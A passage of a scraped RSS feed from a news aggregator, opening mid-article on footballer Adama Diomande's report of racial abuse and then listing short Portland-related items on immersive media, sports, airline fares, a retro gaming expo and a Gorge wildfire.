The accompanying message read: “Today was the first time in my professional career that I was called the «N» word on the field. They will say sorry to me after the game and please let it go, but If I don’t say anything racism will just continue to grow.

“No matter which country, color, religion or which language your speaking we all are human being and we should respect each other no matter what!”

READ MORE: MLB All-Star game marred after racist, anti-gay tweets by pitcher Josh Hader resurface

Diomande was born in Oslo, Norway, to parents who hailed from Ivory Coast. He has made 11 appearances for the Norwegian national team, and moved to Los Angeles FC in May, having spent three years in England with Hull City. His earlier career saw spells at Dinamo Minsk in Belarus, as well as clubs in his homeland.

His claims of racial abuse met support on social media, with messages including: “Racism has no place in the game — the MLS community stands behind you Dio.”

MLS is yet to comment on the alleged incident.   

Let’s block ads! (Why?)

]]>
https://briefnews.eu/mls-player-adama-diomande-racially-abused-during-los-angeles-v-portland-game/feed/ 0
From View-Master to 360-degree video, immersive media is pioneered in Portland https://briefnews.eu/from-view-master-to-360-degree-video-immersive-media-is-pioneered-in-portland/ https://briefnews.eu/from-view-master-to-360-degree-video-immersive-media-is-pioneered-in-portland/#respond Wed, 18 Apr 2018 00:14:57 +0000 http://briefnews.eu/from-view-master-to-360-degree-video-immersive-media-is-pioneered-in-portland/ Matt Rowell, director of photography for VR documentary "as it is" setting up a shot in the Grand Canyon.


GUEST: For those of us who live here, it may come as no surprise that Portland, the city of Roses, was recently awarded the top spot on Forbes list of best places for business and careers in 2017. Among the reasons Forbes cited was the Oregon city’s prevalence of tech companies and the jobs they bring taking root here. Portland has indeed bee…Read More

]]>
https://briefnews.eu/from-view-master-to-360-degree-video-immersive-media-is-pioneered-in-portland/feed/ 0
Portland defeat Lakers for 14th time in a row https://briefnews.eu/portland-defeat-lakers-for-14th-time-in-a-row/ https://briefnews.eu/portland-defeat-lakers-for-14th-time-in-a-row/#respond Sun, 24 Dec 2017 12:14:12 +0000 http://briefnews.eu/portland-defeat-lakers-for-14th-time-in-a-row/

Let’s block ads! (Why?)

Sport | news.com.au — Australia’s #1 news site

]]>
https://briefnews.eu/portland-defeat-lakers-for-14th-time-in-a-row/feed/ 0
Airlines Cap Fares Between Seattle and Portland After Fatal Amtrak Derailment https://briefnews.eu/airlines-cap-fares-between-seattle-and-portland-after-fatal-amtrak-derailment/ https://briefnews.eu/airlines-cap-fares-between-seattle-and-portland-after-fatal-amtrak-derailment/#respond Tue, 19 Dec 2017 07:19:30 +0000 http://briefnews.eu/airlines-cap-fares-between-seattle-and-portland-after-fatal-amtrak-derailment/

Airlines Cap Seattle-Portland Fares After Amtrak Crash

Advertiser Disclosure

The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.

Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.

Let’s block ads! (Why?)

The Points Guy

]]>
https://briefnews.eu/airlines-cap-fares-between-seattle-and-portland-after-fatal-amtrak-derailment/feed/ 0
Portland Retro Gaming Expo delivers the industry’s rarest, weirdest stuff https://briefnews.eu/portland-retro-gaming-expo-delivers-the-industrys-rarest-weirdest-stuff/ https://briefnews.eu/portland-retro-gaming-expo-delivers-the-industrys-rarest-weirdest-stuff/#respond Sun, 29 Oct 2017 13:08:08 +0000 http://briefnews.eu/portland-retro-gaming-expo-delivers-the-industrys-rarest-weirdest-stuff/

PORTLAND, Oregon—If you think you’ve seen everything there is to offer at a massive “retro gaming expo,” then you’re a lot like me. I went to last weekend’s Portland Retro Gaming Expo with low expectations, simply hoping to have fun and play games with a few friends. But the annual show has continued its explosive growth, and this year’s edition featured so much rare and weird gaming stuff from yesteryear that I couldn’t help but pull out my camera.

In part, I’m a sucker for rare games, in original, mint-condition boxes, being collected and sold in a giant pavilion, which PRGE offered in its biggest show floor yet. And I always enjoy a massive free-play floor that lets me save quarters on classic pinball and video arcade machines, which PRGE also delivered with its biggest selection since the show began in 2006.

Read 4 remaining paragraphs | Comments

Ars Technica

]]>
https://briefnews.eu/portland-retro-gaming-expo-delivers-the-industrys-rarest-weirdest-stuff/feed/ 0
Portland Priority Pass Perk: $84 of Free Food and Booze at PDX https://briefnews.eu/portland-priority-pass-perk-84-of-free-food-and-booze-at-pdx/ https://briefnews.eu/portland-priority-pass-perk-84-of-free-food-and-booze-at-pdx/#respond Sun, 01 Oct 2017 01:24:58 +0000 http://briefnews.eu/portland-priority-pass-perk-84-of-free-food-and-booze-at-pdx/

Portland Priority Pass Perk: $ 84 of Free Food and Booze at PDX

Advertiser Disclosure

The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.

Editorial Note: Opinions expressed here are author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.

Let’s block ads! (Why?)

The Points Guy

]]>
https://briefnews.eu/portland-priority-pass-perk-84-of-free-food-and-booze-at-pdx/feed/ 0
Photo of the Week: A Hellish Vision of Portland, Oregon’s Famous Gorge in Flames https://briefnews.eu/photo-of-the-week-a-hellish-vision-of-portland-oregons-famous-gorge-in-flames/ https://briefnews.eu/photo-of-the-week-a-hellish-vision-of-portland-oregons-famous-gorge-in-flames/#respond Thu, 07 Sep 2017 23:37:55 +0000 http://briefnews.eu/photo-of-the-week-a-hellish-vision-of-portland-oregons-famous-gorge-in-flames/ The Columbia River Gorge is cherished by locals and tourists alike. But over the weekend, the beloved canyon caught fire.


https://media.wired.com/photos/59b07ddcbb0e8b2803d8f911/master/pass/AP_17248842079752_HP.jpg
Feed: All Latest

]]>
https://briefnews.eu/photo-of-the-week-a-hellish-vision-of-portland-oregons-famous-gorge-in-flames/feed/ 0